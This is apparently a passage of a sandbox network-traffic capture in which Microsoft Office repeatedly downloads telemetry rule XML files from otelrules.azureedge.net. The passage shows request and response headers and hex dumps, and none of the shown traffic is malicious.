2024-10-28 18:12:42 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	59152	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:43 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:43 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:43 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181243Z-r1755647c66vwt2b5wfzb6a20400000002700000000000tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:43 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	59155	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:43 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:43 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 44b69168-a01e-0098-3739-288556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181243Z-r1755647c666s72wx0z5rz6s6000000006e00000000084th x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	59154	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:43 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:43 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:43 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181243Z-r1755647c66ss75qkr31zpy1kc000000053g0000000038n1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:43 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	59153	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:43 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:43 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181243Z-17fbfdc98bbl4n669ut4r27e0800000004yg00000000f82c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	59157	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:43 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:43 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:43 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: ef923803-d01e-0017-0d01-29b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181243Z-17fbfdc98bbt5dtr27n1qp1eqc00000005g000000000e7mt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:43 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	59158	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:44 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:44 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:44 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181244Z-r1755647c66p58nm9wqx75pnms00000004n0000000006593 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:44 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	59159	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:44 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:44 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:44 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: ef1abc9b-501e-0029-5887-28d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181244Z-17fbfdc98bbgm62892kdp1w19800000004c000000000g1vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:44 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	59160	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:44 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:44 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:44 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: a3dcd1d1-c01e-0014-6437-29a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181244Z-17fbfdc98bb2cvg4m0cmab3ecw000000043g00000000a0qf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:44 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	59161	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:44 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:44 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:44 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181244Z-r1755647c664nptf1txg2psens00000004ag0000000013cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:44 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	59162	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:44 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:44 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:44 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181244Z-r1755647c66hxv26qums8q8fsw00000003mg000000001ncw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:44 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	59163	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:45 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:45 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:45 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 8e66950d-f01e-0003-769c-274453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181245Z-17fbfdc98bbp77nqf5g2c5aavs00000004z000000000dar7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
